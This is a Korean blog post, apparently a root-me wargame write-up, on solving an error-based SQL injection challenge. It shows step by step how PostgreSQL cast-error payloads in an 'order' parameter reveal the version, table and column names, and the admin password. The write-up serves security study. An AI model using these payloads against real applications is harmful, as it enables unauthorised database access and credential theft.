Error based SQL Injection 문제입니다. 관리자의 패스워드를 획득하는 것이 목표입니다.
문제에 들어가 보면 [Authentication] 메뉴와 [Contents] 메뉴 두 개가 있습니다.
우선, [Authentication] 메뉴에 있는 로그인 폼에다가 임의로 로그인을 해보았습니다. [admin/1234]
"login failed" 라는 에러 문구만 출력되고 다른 에러는 보이지 않습니다.
취약한 포인트가 아닌 것 같네요.
이번에는 [Contents] 메뉴를 클릭해보았습니다.
[Contents] 메뉴 클릭 시 action과 order 파라미터가 전송되는데 order 파라미터 값에 싱글 쿼터를 삽입해보았습니다.
데이터베이스 오류가 출력됩니다! 이 포인트를 이용해서 에러 기반 SQL Injection을 진행하면 될 것 같습니다.
어떤 데이터베이스를 사용하는지 몰라서 우선 모든 구문을 다 삽입해보았습니다.
https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql
위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.
1. VERSION 정보
,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.
2. 테이블 정보
,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)-- 구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.
3. 컬럼 정보
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)-- 구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.
두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)-- 구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다.
패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.
,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)-- 구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.
4. 데이터 정보
패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.
우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.
,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!
'Study > Wargame' 카테고리의 다른 글
[root-me] SQL Injection - File reading (0) | 2020.04.01 |
---|---|
[root-me] SQL Injection - Routed (0) | 2020.03.20 |
[root-me] JSON Web Token (JWT) - Weak secret (0) | 2020.03.06 |
[root-me] JSON Web Token(JWT) - Public key (0) | 2020.03.05 |
[root-me] NoSQL Injection - Authentication (0) | 2020.03.03 |